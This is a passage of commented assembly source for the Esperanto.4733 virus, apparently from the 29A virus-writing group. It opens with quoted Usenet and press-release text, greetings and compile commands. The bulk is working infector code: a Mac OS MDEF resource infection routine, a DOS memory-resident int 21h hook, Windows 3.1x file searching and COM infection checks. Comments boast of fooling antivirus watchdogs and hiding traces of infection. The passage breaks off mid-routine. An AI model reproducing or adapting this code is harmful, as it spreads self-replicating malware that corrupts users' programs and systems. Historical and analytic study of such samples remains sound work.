; Windows32 files:
|
||
;
|
||
; KERNEL32.DLL USER32.DLL GetModuleHandleA GetProcAddress MessageBoxA
|
||
; CreateFileA CreateFileMappingA MapViewOfFile UnmapViewOfFile CloseHandle
|
||
; FindFirstFileA FindNextFileA FindClose LoadLibraryA GetLocalTime
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
;
|
||
;
|
||
; 4.3 Keith Peer speaks (AVP)
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; (*) alt.comp.virus
|
||
;
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
; From - Sat Nov 22 02:03:41 1997
|
||
; From: Keith Peer <keith@command-hq.com>
|
||
; Newsgroups: alt.comp.virus
|
||
; Subject: New Multi-Operating System virus discovered!
|
||
; Date: Thu, 20 Nov 1997 12:54:01 -0500
|
||
; Organization: Central Command Inc.
|
||
; To: virus-l@lehigh.edu
|
||
;
|
||
; November 20, 1997
|
||
;
|
||
; FOR IMMEDIATE RELEASE
|
||
;
|
||
; Renee Barnhardt
|
||
; Central Command Inc.
|
||
; 330-273-2820
|
||
; renee@command-hq.com
|
||
;
|
||
; Central Command today announces the discovery of new multi-operating
|
||
; system virus.
|
||
;
|
||
; New cross platform virus that can infect all popular desktop computers.
|
||
;
|
||
; Brunswick, OH, November 20, 1997 Central Command Inc. the U.S. distributor
|
||
; for AntiViral Toolkit Pro (AVP) announces today that a new computer virus
|
||
; has been discovered that can operate under DOS, Windows, Windows 95,
|
||
; Windows NT, and Macintosh operating systems.
|
||
;
|
||
; "We are seeing a lot of new technology in computer viruses today. It seems
|
||
; that the virus writers are concentrating more on developing sophisticated
|
||
; viruses that extend further and infect more widely. I am sure this will
|
||
; not be the last virus we encounter that can infect DOS, Windows, Windows
|
||
; 95, Windows NT, and Macintosh operating systems, but right now this is
|
||
; the first." Said Central Command's President, Keith Peer.
|
||
;
|
||
; This multiplatform parasitic virus named Esperanto.4733, infects DOS, COM
|
||
; and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It also
|
||
; has instructions that look for MDEF Macintosh resources and also operates
|
||
; under the Macintosh environment. There is no way for this virus to spread
|
||
; from Macintosh to PC, and from PC to Macintosh. When a infected program
|
||
; is started as a DOS or Windows application the virus does not execute the
|
||
; Macintosh instructions. The same effect happens when a infected Macintosh
|
||
; program is started, the virus simply ignores the DOS, and Windows
|
||
; instructions. Currently, the only way for this virus to spread from a PC
|
||
; to a Macintosh is by copying it.
|
||
;
|
||
; While infecting the virus searches the internal file format of the
|
||
; programs, and separates DOS, COM and EXE programs, Windows, Windows 95,
|
||
; Windows NT, and Macintosh programs and infects differently.
|
||
;
|
||
; [...Publicity...]
|
||
;
|
||
; ---------------------------------------------------------
|
||
; Central Command Inc. AntiViral Toolkit Pro
|
||
; http://www.command-hq.com sales@command-hq.com
|
||
; Ph: 330-273-2820 Fax: 330-220-4129
|
||
; -> See our website for free software evaluations! <-
|
||
; ---------------------------------------------------------
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
;
|
||
;
|
||
; 4.4. Guillermito speaks ;)
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; (*) alt.comp.virus
|
||
;
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
; From - Sat Nov 22 02:04:19 1997
|
||
; From: Guillermito <guillermito@pipo.com>
|
||
; Newsgroups: alt.comp.virus
|
||
; Subject: Re: New Multi-Operating System virus discovered!
|
||
; Date: Fri, 21 Nov 1997 09:16:28 +0100
|
||
; Organization: INRA des Villes
|
||
;
|
||
; Keith Peer wrote:
|
||
;
|
||
; > This multiplatform parasitic virus named Esperanto.4733, infects DOS,
|
||
; > COM and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It
|
||
; > also has instructions that look for MDEF Macintosh resources and also
|
||
; > operates under the Macintosh environment.
|
||
;
|
||
; Hey MrSandman! Lo has conseguido! Que cojonudo, tio!
|
||
;
|
||
; Cabanas/Esperanto: 29A is the best virus group on earth.
|
||
;
|
||
; --
|
||
; Guillermito
|
||
; http://www.pipo.com/guillermito/darkweb/virus.html
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
;
|
||
; My reply: lo tuyo s¡ que se sale... ;) Espero verte de nuevo en la pr¢xima
|
||
; reuni¢n de 29A este verano, a ver si esta vez no te pierdes en Madrid ;)
|
||
;
|
||
; Btw, the guys at AVP don't seem to have understood very well the way Espe-
|
||
; ranto jumps from a PC to a Macintosh computer. I would also like to make a
|
||
; special mention to Alan Sollomon (aka Alan Salmon), who, resentful for not
|
||
; being one of "the chosen", tried to follow Bontchev's steps (he knows what
|
||
; i mean). This makes nothing but confirming my opinion on who in the AV si-
|
||
; de makes a serious and proffesional work and who prefers to get some noto-
|
||
; riousness by trying to create actually inexistent conflicts between VX and
|
||
; AV and even between AV and AV themselves, rather than cordiality.
|
||
;
|
||
; "That's the way they act, that's why their products suck".
|
||
;
|
||
; And Kaspersky... you rock, but you should stop believing you're a god. Get
|
||
; some time to learn a better english and something on Win32 viruses, try to
|
||
; approach your previous modest behavior rather than Daniloff's, and that is
|
||
; when you'll start to write again those dazzling virus analyses such as the
|
||
; unforgettable work you did with Zhengxi.
|
||
;
|
||
; However i still admire you.
|
||
;
|
||
;
|
||
; 5. Greetings
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; I would like to thank Jacky Qwerty very especially for his big help in the
|
||
; Win32 module (as well as in some stupid bugs) :) I wouldn't have been able
|
||
; to write the Win32 module without him. What can i say man... thank you ve-
|
||
; ry much, you rock ;) Also very special thanks to GriYo, who provided to me
|
||
; as well as Jacky very valuable information and code about PE infection un-
|
||
; der Win32, when we all (Jacky, GriYo and i) were working on the subject.
|
||
;
|
||
; A very special greeting also for Vecna, who is nowadays doing the military
|
||
; service in Brazil, his country... i'll never forget what you said about my
|
||
; virus, we all miss you and hope to see you soon, friend :)
|
||
;
|
||
; Btw, Guillermito... what about your "virus of the year" contest? ;)
|
||
;
|
||
;
|
||
; 6. Compiling it
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Don't even think on trying to compile the source code below. To do it, you
|
||
; should first separate three of the four modules, compile each of them with
|
||
; a different mode and/or compiler, and then put again the whole stuff toge-
|
||
; ther into one only file, keeping the data area untouched and having to mo-
|
||
; dify *every* pointer to it in the viral code.
|
||
;
|
||
; Better to use the already compiled binary provided by us, right? :) Anyway
|
||
; these are the compiling modes, for those of you who are curious about what
|
||
; did i use for compiling Esperanto. Btw, the compiler for the Mac OS module
|
||
; was CodeWarrior (i had to insert the ASM code inside a C source).
|
||
;
|
||
;
|
||
; DOS+Windows 3.1x modules
|
||
;
|
||
; tasm /m espodos.asm
|
||
; tlink espodos.obj
|
||
; exe2bin espodos.exe espodos.com
|
||
;
|
||
; Win32 module
|
||
;
|
||
; tasm32 -ml -m5 -q -zn espow32.asm
|
||
; tlink32 -Tpe -c -x -aa espow32.obj,,, import32.lib
|
||
; pewrsec espow32.exe
|
||
|
||
|
||
.model tiny
|
||
.code
|
||
org 0
|
||
|
||
; Í͹ Absolute virus start ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
.386 ; Intel 80386 real mode
|
||
espo_start label byte ; Define virus start
|
||
espo_mem_size equ espo_mem_end-espo_start ; Define size in memory
|
||
espo_file_size equ espo_file_end-espo_start ; Define size in file
|
||
reloc_size equ reloc_end-reloc_start ; Relocation size (NE)
|
||
dseta_offset equ dseta_byte-espow32_start ; Dseta-offset size
|
||
text_size equ text_end-text_start ; Size of payload text
|
||
base_default equ 400000h ; Base default address
|
||
|
||
; ÄÄ´ Universal entry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Note: this is the entry point for infected COM, EXE and Mac OS files. If
|
||
; the following instruction is executed in an Intel processor, it will jmp
|
||
; to the real entry for COM and EXE files. Otherwise (when running under a
|
||
; Motorola or PowerPC processor) it will be interpreted and executed as if
|
||
; it were plain data, thus being able to reach the real entry for infected
|
||
; Mac OS applications, which starts with a branch to the definitive entry.
|
||
|
||
com_exe_entry: jmp real_ce_entry ; Jumps only in PCs
|
||
|
||
; Í͹ Mac OS module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
espo_header: bra.s mac_os_entry ; Jump to virus code
|
||
dc.w #$0 ; Header gaps for later
|
||
dc.l #'MDEF' ; initialization in the
|
||
dc.l #$0 ; jump table built by
|
||
dc.l #$0 ; the Mac OS Finder
|
||
|
||
; ÄÄ´ Entry point for Mac OS applications ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
mac_os_entry: lea espo_header,a0 ; Copy our code location
|
||
move.l a0,$9ce ; to $9ce (ToolScratch)
|
||
bra espo_body ; for later reference
|
||
|
||
espo_body: link a6,#-$24 ; Link code address
|
||
movem.l d4-d7/a2-a4,-(sp) ; Push in our registers
|
||
move.l $14(a6),d5 ; Use d5 as ëelta-offset
|
||
|
||
movea.l #$a25,a3 ; In $a25 (MenuFlash),
|
||
move.b (a3),d0 ; look for our action
|
||
ext.w d0 ; code (3) in order to
|
||
subq.w #$3,d0 ; know if our code is
|
||
beq infect_mac_os ; already active or not
|
||
|
||
move.b #$3,(a3) ; Else switch the flag
|
||
clr.w d7 ; on as we're going to
|
||
moveq #$2,d6 ; run or handling code
|
||
check_offset: tst.w d7 ; Look for our resident
|
||
bne search_loop ; code thru the memory
|
||
|
||
movea.l d6,a3 ; Code apparently found
|
||
move.b (a3),d0 ; Now check for our
|
||
ext.w d0 ; header and identifiers
|
||
cmpi.w #'M',d0 ; Is it an 'M'?
|
||
bne.s search_loop ; Keep on searching
|
||
|
||
move.l a3,d0 ; First byte is an 'M'
|
||
addq.l #$1,d0 ; Now check the 2nd one
|
||
movea.l d0,a0 ; Move address+1 to a0
|
||
move.b (a0),d0 ; Move second byte to d0
|
||
ext.w d0 ; Extend d0
|
||
cmpi.w #'D',d0 ; Is it a 'D'?
|
||
bne.s search_loop ; Keep on searching
|
||
|
||
move.l a3,d0 ; Base address to d0
|
||
addq.l #$2,d0 ; Checking 3rd byte...
|
||
movea.l d0,a0 ; Move the address to a0
|
||
move.b (a0),d0 ; Move the byte to d0
|
||
ext.w d0 ; Extend d0
|
||
cmpi.w #'E',d0 ; Is it an 'E'?
|
||
bne.s search_loop ; Keep on searching
|
||
|
||
move.l a3,d0 ; Base address to d0
|
||
addq.l #$3,d0 ; Let's check 4th byte
|
||
movea.l d0,a0 ; Move its address to a0
|
||
move.b (a0),d0 ; Move 4th byte to d0
|
||
ext.w d0 ; Extend d0
|
||
cmpi.w #'F',d0 ; Is it an 'F'?
|
||
bne.s search_loop ; Keep on searching
|
||
|
||
move.l a3,d0 ; Restore address in d0
|
||
addq.l #$4,d0 ; d0+$4=5th byte to see
|
||
movea.l d0,a0 ; Move its address to a0
|
||
move.b (a0),d0 ; Move 5th byte to d0
|
||
ext.w d0 ; Extend d0
|
||
cmpi.w #$67,d0 ; Check for Esperanto
|
||
bne.s search_loop ; resource first ID
|
||
|
||
move.l a3,d0 ; Base address in d0
|
||
addq.l #$5,d0 ; Checking 6th byte
|
||
movea.l d0,a0 ; Move its address to a0
|
||
move.b (a0),d0 ; Move the byte to d0
|
||
ext.w d0 ; Extend d0
|
||
cmpi.w #$26,d0 ; Check for the 2nd ID
|
||
bne.s search_loop ; Wrong ID, search again
|
||
|
||
move.l a3,d0 ; Get the address for
|
||
addq.l #$6,d0 ; the 7th and last byte,
|
||
movea.l d0,a0 ; which has to be our
|
||
move.b (a0),d0 ; 3rd resource ID ($0c)
|
||
ext.w d0 ; Extend d0
|
||
cmpi.w #$0c,d0 ; Everything ok?
|
||
bne.s search_loop ; Wrong, how bad luck :(
|
||
|
||
move.b #'W',(a3) ; Change MDEF to WDEF to
|
||
moveq #$1,d7 ; fool some AV watchdogs
|
||
search_loop: addq.l #$1,d6 ; and to limit too fast
|
||
cmpi.l #$30d40,d6 ; infection, as WDEF is
|
||
ble check_offset ; a less called resource
|
||
|
||
; ÄÄ´ Mac OS applications infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
infect_mac_os: subq.w #$4,sp ; Empty stack (4 bytes)
|
||
move.l #'CODE',-(sp) ; Push the resource name
|
||
clr.w -(sp) ; we're looking for and
|
||
_GetResource ; clear the stack
|
||
|
||
movea.l (sp)+,a4 ; Move address to a4
|
||
subq.w #$2,sp ; Empty stack (2 bytes)
|
||
move.l a4,-(sp) ; Push 'CODE' address
|
||
_HomeResFile ; Home resource file
|
||
|
||
move.w (sp)+,d4 ; Move address to d4
|
||
subq.w #$2,sp ; Empty stack (2 bytes)
|
||
_CurResFile ; Current resource file
|
||
|
||
move.w (sp)+,d7 ; Move address to d7
|
||
subq.w #$4,sp ; Empty stack (4 bytes)
|
||
move.l #'MDEF',-(sp) ; Move the resource name
|
||
move.w #$espo_file_size,-(sp) ; we're looking for
|
||
_GetResource ; (Try to) get it
|
||
|
||
movea.l (sp)+,a4 ; Move address to a4
|
||
move.l a4,d0 ; Does it exist?
|
||
bne.s new_mdef ; Go and create it
|
||
|
||
subq.w #$4,sp ; Empty stack (4 bytes)
|
||
move.l #'MDEF',-(sp) ; Move resource name
|
||
pea first_tab ; Move identifier
|
||
_GetNamedResource ; Get MDEF address
|
||
|
||
movea.l (sp)+,a2 ; Move its address to a2
|
||
move.l a2,-(sp) ; Push it onto the stack
|
||
_DetachResource ; Detach resource
|
||
|
||
clr.w -(sp) ; Clear the stack
|
||
_UseResFile ; Use the MDEF resource
|
||
|
||
subq.w #$4,sp ; Empty stack (4 bytes)
|
||
move.l #'MDEF',-(sp) ; Move the resource name
|
||
clr.w -(sp) ; Clear one word
|
||
_GetResource ; Open the MDEF resource
|
||
|
||
movea.l (sp)+,a4 ; Move handle to a4
|
||
move.l a4,-(sp) ; Push it into the stack
|
||
move.w #$espo_file_size,-(sp) ; Move our identifier
|
||
pea name_only ; And push the name tab
|
||
_SetResInfo ; Set resource new info
|
||
|
||
move.l a4,-(sp) ; Move handle into stack
|
||
_ChangedResource ; Resource has changed
|
||
|
||
move.l a4,-(sp) ; Move handle into stack
|
||
_WriteResource ; Write a new MDEF res.
|
||
|
||
move.l a2,-(sp) ; Stack original address
|
||
move.l #'MDEF',-(sp) ; Stack resource name
|
||
clr.w -(sp) ; Clear one word
|
||
pea second_tab ; Viral res.ID string
|
||
_AddResource ; Add new resource
|
||
|
||
clr.w -(sp) ; Clear one word
|
||
_UpdateResFile ; Update resource file
|
||
|
||
subq.w #$4,sp ; Empty stack (4 bytes)
|
||
move.l #'MDEF',-(sp) ; Now open again the
|
||
move.w #$espo_file_size,-(sp) ; MDEF resource in order
|
||
_GetResource ; to complete infection
|
||
|
||
movea.l d5,a0 ; Move our delta to a0
|
||
movea.l (a0),a0 ; Move 1st byte to a0
|
||
move.l (sp)+,$6(a0) ; Move MDEF address to
|
||
move.w d7,-(sp) ; a0+$6 and use the CODE
|
||
_UseResFile ; resource (addr.in d7)
|
||
bra calc_new_size ; Calculate new size
|
||
|
||
new_mdef: movea.l d5,a0 ; Move ëelta to a0
|
||
move.l (a0),a0 ; Move 1st byte to a0
|
||
move.l a4,$6(a0) ; Move address for MDEF
|
||
clr.w -(sp) ; to a0+$6 and call
|
||
_UseResFile ; UseResFile function
|
||
|
||
subq.w #$4,sp ; Empty stack (4 bytes)
|
||
move.l #'MDEF',-(sp) ; Move resource name
|
||
clr.w -(sp) ; Clear one word
|
||
_Get1Resource ; Get a new resource
|
||
|
||
movea.l (sp)+,a2 ; Move its address to a2
|
||
move.l a2,-(sp) ; Push a2 into the stack
|
||
_DetachResource ; Detach the new resource
|
||
|
||
move.w d4,-(sp) ; Use current resource
|
||
_UseResFile ; file previously stored
|
||
|
||
subq.w #$4,sp ; Empty stack (4 bytes)
|
||
move.l #'MDEF',-(sp) ; Move resource name
|
||
clr.w -(sp) ; Clear one word
|
||
_Get1Resource ; Get the new resource
|
||
|
||
movea.l (sp)+,a4 ; Move address to a4
|
||
move.l a4,d0 ; Is this address busy?
|
||
bne.s address_used ; Branch if so
|
||
|
||
move.l a2,-(sp) ; Stack resource address
|
||
move.l #'MDEF',-(sp) ; Move resource name
|
||
clr.w -(sp) ; Clear one word
|
||
pea second_tab ; Resource identifier
|
||
_AddResource ; Add new resource
|
||
|
||
subq.w #$2,sp ; Empty stack (2 bytes)
|
||
_CurResFile ; Current resource file
|
||
_UpdateResFile ; Update resource file
|
||
bra.s calc_new_size ; Calculate new size
|
||
|
||
address_used: move.w d7,-(sp) ; Use current resource
|
||
_UseResFile ; file previously stored
|
||
|
||
subq.w #$4,sp ; Empty stack (4 bytes)
|
||
move.l #'MDEF',-(sp) ; Move resource name
|
||
clr.w -(sp) ; Clear one word
|
||
_Get1Resource ; Get one resource
|
||
|
||
movea.l (sp)+,a4 ; Move its address to a4
|
||
move.l a4,d0 ; Compare it again
|
||
bne.s calc_new_size ; Branch if not equal
|
||
|
||
move.l a2,-(sp) ; Stack resource address
|
||
move.l #'MDEF',-(sp) ; Move resource name
|
||
clr.w -(sp) ; Clear one word
|
||
pea second_tab ; Resource ID string
|
||
_AddResource ; Add new resource
|
||
|
||
subq.w #$2,sp ; Empty stack (2 bytes)
|
||
_CurResFile ; Current resource file
|
||
_UpdateResFile ; Update resource file
|
||
|
||
calc_new_size: move.l d5,-(sp) ; Move delta into stack
|
||
_CalcMenuSize ; Calculate new menu size
|
||
|
||
movem.l (sp)+,d4-d7/a2-a4 ; Restore used registers
|
||
unlk a6 ; Unlink code address
|
||
movea.l (sp)+,a0 ; Move original address
|
||
lea $12(sp),sp ; to a0, restore stack
|
||
jmp (a0) ; and jump back to it
|
||
|
||
dc.l #'MAIN' ; Main code module
|
||
dc.w #$2020 ; Pre-initialized gaps
|
||
dc.w #$2020 ; for Mac OS Finder
|
||
|
||
; ÄÄ´ Data area for Mac OS module ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
first_tab: dc.w #$16 ; For _GetNamedResource
|
||
second_tab: dc.b #$7 ; For _AddResource
|
||
name_only: dc.l #'Esperanto' ; For _SetResInfo
|
||
|
||
; Í͹ DOS runtime module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
real_ce_entry: call delta_offset ; Get ë-offset in BP in
|
||
delta_offset: pop bp ; the traditional and
|
||
sub bp,offset delta_offset ; always effective way :)
|
||
push es cs ; Segment push/popping
|
||
pop ds ; for l8r use in our code
|
||
|
||
mov ax,':)' ; Residency check
|
||
int 21h ; Are we home?
|
||
|
||
cmp ax,';)' ; Winky smiley, we are
|
||
je work_done ; already resident...
|
||
|
||
go_mem_res: mov ax,es ; Residency routine
|
||
dec ax ; Get our host's MCB
|
||
mov ds,ax ; segment and point its
|
||
xor di,di ; start with DI
|
||
|
||
cmp byte ptr ds:[di],'Y' ; Is it a Z block?
|
||
jna work_done ; Exit if it is not
|
||
|
||
sub word ptr ds:[di+3],((espo_mem_size/10h)+2)
|
||
sub word ptr ds:[di+12h],((espo_mem_size/10h)+2)
|
||
add ax,word ptr ds:[di+3]
|
||
inc ax ; Get a new MCB segment
|
||
; for the viral code
|
||
mov ds,ax
|
||
mov byte ptr ds:[di],'Z' ; Mark it as a Z block
|
||
mov word ptr ds:[di+1],8 ; And as a system block
|
||
mov word ptr ds:[di+3],((espo_mem_size/10h)+1)
|
||
mov dword ptr ds:[di+8],00534f44h ; Owner ID -> DOS
|
||
inc ax
|
||
|
||
cld ; Clear direction flag
|
||
push cs ; Point with CS and DS
|
||
pop ds ; to the code running now
|
||
mov es,ax ; ES = virus segment
|
||
mov cx,espo_file_size ; CX = virus size
|
||
mov si,bp ; SI = virus start
|
||
rep movsb ; Copy virus to memory
|
||
|
||
push es ; Now jump to our copy
|
||
push offset copy_vector ; in memory so we don't
|
||
retf ; have to use ë-offset
|
||
|
||
copy_vector: push ds ; Save DS in the stack
|
||
mov ds,cx ; DS = CX = 0 -> IVT
|
||
mov si,21h*4 ; Point int 21h vector
|
||
lea di,old_int_21h ; Point our storage
|
||
movsd ; Store old vector
|
||
|
||
mov word ptr [si-4],offset new_int_21h
|
||
mov word ptr [si-2],ax
|
||
|
||
pop ax ; Once we've set the
|
||
mov ds,ax ; new int 21h vector,
|
||
mov es,ax ; check out our host
|
||
|
||
work_done: cmp byte ptr ds:[bp+file_flag],'C' ; Is our host a COM?
|
||
je restore_com ; Yes, restore it
|
||
|
||
restore_exe: pop es ; In case it's an EXE
|
||
mov ax,es ; file, get PSP segment
|
||
add ax,10h ; and adjust it to
|
||
add word ptr ds:[bp+exe_cs],ax ; execute our host code
|
||
|
||
cli ; Clear interrupts
|
||
mov sp,word ptr ds:[bp+exe_sp] ; Set new SP
|
||
add ax,word ptr ds:[bp+exe_ss] ; Get SS and add to it
|
||
mov ss,ax ; the PSP+10h value
|
||
sti ; Set interrupts
|
||
|
||
xor ax,ax ; Set the value of all
|
||
xor bx,bx ; these registers to 0
|
||
xor cx,cx ; so it seems that
|
||
cwd ; nothing has happened
|
||
xor si,si ; and we've not been
|
||
xor di,di ; here infecting :)
|
||
|
||
push word ptr ds:[bp+exe_cs] ; Push initial segment
|
||
push word ptr ds:[bp+exe_ip] ; Push initial offset
|
||
xor bp,bp ; And jump into there!
|
||
retf
|
||
|
||
restore_com: lea si,[bp+old_com_header] ; Point to the buffer
|
||
mov di,100h ; in which we've stored
|
||
push ds di ; the original COM header
|
||
movsd ; and copy it (5 bytes)
|
||
movsb ; to its entrypoint
|
||
retf ; Jump to CS:IP
|
||
|
||
; Í͹ Windows 3.1x module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
newexe_entry: pusha ; Push our registers
|
||
push ds es ; And save segments
|
||
|
||
mov ax,0ah ; Get a writable alias
|
||
mov bx,cs ; selector of CS in AX
|
||
int 31h ; and move it to DS
|
||
mov ds,ax
|
||
|
||
mov byte ptr ds:[file_or_mem],'F' ; Runtime infection
|
||
mov ah,4eh ; Find first file
|
||
find_more_com: xor cx,cx ; No special attribs
|
||
mov byte ptr ds:[inf_counter],cl ; inf_counter = 0
|
||
lea dx,ds:[com_wildcard] ; Look for COM files
|
||
int 21h ; to infect only in
|
||
jc other_search ; current directory
|
||
|
||
mov ah,2fh ; Get DTA address in
|
||
int 21h ; ES:BX and point to it
|
||
|
||
add bx,1eh ; BX+1eh -> filename
|
||
xchg dx,bx ; ES:DX -> filename
|
||
mov byte ptr ds:[file_flag],'C' ; Switch the COM flag on
|
||
jmp check_com ; And jump for it!
|
||
|
||
other_search: mov ah,4eh ; Now let's look for
|
||
find_more_exe: xor cx,cx ; EXE files (only in the
|
||
lea dx,ds:[exe_wildcard] ; current directory) as
|
||
int 21h ; there are not more
|
||
jc restore_ne ; COM files to infect
|
||
|
||
mov ah,2fh ; Get DTA address in
|
||
int 21h ; ES:BX and point to it
|
||
|
||
add bx,1eh ; BX+1eh -> filename
|
||
xchg dx,bx ; ES:DX -> filename
|
||
mov byte ptr ds:[file_flag],'E' ; Switch the EXE flag on
|
||
jmp check_exe ; And jump for it!
|
||
|
||
restore_ne: pop es ds ; Pop our segments and
|
||
popa ; reggs from the stack
|
||
|
||
db 0eah ; jmp xxxx:xxxx
|
||
newexe_ip dw ? ; Original offset
|
||
newexe_cs dw 0ffffh ; Original segment
|
||
|
||
; Í͹ DOS memory resident module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
new_int_21h: cmp ax,':)' ; Our residency check?
|
||
jne more_checks ; Nope, more checks...
|
||
|
||
inc ah ; Turn ":)" into ";)"
|
||
iret ; Interrupt return
|
||
|
||
more_checks: cmp ah,4eh ; Find first file?
|
||
je findfirst ; Yes, it's our time!
|
||
|
||
cmp ah,4fh ; Find next file?
|
||
je findnext ; Our time again! :)
|
||
|
||
return_to_int: db 0eah ; jmp xxxx:xxxx
|
||
old_int_21h dw ?,? ; Original int 21h
|
||
|
||
; ÄÄ´ Findfirst (4eh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
findfirst: pusha ; Push'em onto the stack
|
||
push es cs ; Push ES as well so we
|
||
pop es ; now change it to CS
|
||
|
||
cld ; Clear direction flag
|
||
mov si,dx ; DS:DX/SI -> filename
|
||
lea di,filename ; ES:DI -> name buffer
|
||
mov word ptr cs:[file_offset],di ; Filename offset
|
||
|
||
get_path: lodsb ; Load a byte of path
|
||
or al,al ; The end of the path?
|
||
je no_more_path ; Jump if so to work...
|
||
|
||
stosb ; Store it in the buffer
|
||
cmp al,':' ; Possible end of path?
|
||
je update_offset ; Then update offset
|
||
|
||
cmp al,'\' ; Possible end of path?
|
||
jne get_path ; Update filename offset
|
||
|
||
update_offset: mov word ptr cs:[file_offset],di ; New filename offset
|
||
jmp get_path ; Get more characters
|
||
|
||
no_more_path: pop es ; Restore ES from stack
|
||
popa ; And the other registers
|
||
|
||
; ÄÄ´ Findnext (4fh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
findnext: pushf ; Push flags in the stack
|
||
call dword ptr cs:[old_int_21h] ; Call original int 21h
|
||
|
||
pushf ; Push flags again
|
||
pusha ; Now push registers
|
||
push ds es ; And now segments
|
||
|
||
lets_work: cld ; Clear direction flag
|
||
mov ah,2fh ; Get Disk Transfer Area
|
||
int 21h ; (DTA) in ES:BX
|
||
|
||
mov di,word ptr cs:[file_offset] ; DI -> filename offset
|
||
mov si,bx ; Now point with DS:SI
|
||
add si,1eh ; to the name in DTA
|
||
|
||
push cs es ; New DS = old ES
|
||
pop ds es ; New ES = old CS
|
||
|
||
get_name: lodsb ; Load byte from DS:SI
|
||
stosb ; And store it in ES:DI
|
||
cmp al,'.' ; Look for extension
|
||
jne not_a_dot ; Have we reached it?
|
||
|
||
mov word ptr cs:[dot_xy],di ; Then store its offset
|
||
not_a_dot: or al,al ; End of filename?
|
||
jne get_name ; Keep on getting it
|
||
|
||
push cs ; Push CS and pop DS
|
||
pop ds ; so they're the same
|
||
|
||
lea dx,filename ; DS:DX -> filename
|
||
mov di,word ptr ds:[dot_xy] ; DS:DI -> extension
|
||
mov byte ptr cs:[file_or_mem],'M'
|
||
|
||
cmp word ptr ds:[di],'XE' ; Is it an EXE file?
|
||
je check_exe ; Seems so...
|
||
|
||
cmp word ptr ds:[di],'OC' ; Maybe a COM file?
|
||
jne pop_and_leave ; If not, pop and leave
|
||
|
||
; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
check_com: push ds es ; DS = ES (to open files
|
||
pop ds ; in DS:DX and ES:DX)
|
||
|
||
mov ax,3d02h ; Open the file we've
|
||
int 21h ; found in DS:DX (from
|
||
xchg bx,ax ; memory) or ES:DX (from
|
||
pop ds ; the runtime infection)
|
||
|
||
call system_checks ; Do some checks in
|
||
or ah,ah ; order to know if we
|
||
jz close_and_pop ; may infect the file
|
||
|
||
mov ah,3fh ; Read its first five
|
||
mov cx,5 ; bytes to our buffer
|
||
lea dx,old_com_header ; and check if the file
|
||
int 21h ; is already infected
|
||
|
||
cmp word ptr ds:[old_com_header+3],');'
|
||
je close_and_pop ; File is infected
|
||
|
||
call lseek_end ; Now check its size
|
||
cmp ax,(0fc17h-espo_file_size) ; 65535-virus-1000
|
||
jae close_and_pop ; Is it is too large?
|
||
|
||
cmp ax,(espo_file_size+3e8h) ; And now see if it's
|
||
jbe close_and_pop ; too small (virus+1000)
|
||
|
||
; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
infect_com: mov byte ptr ds:[file_flag],'C' ; Set the COM flag in
|
||
inc byte ptr ds:[inf_counter] ; Increment the counter
|
||
push ax ; AX -> filesize
|
||
|
||
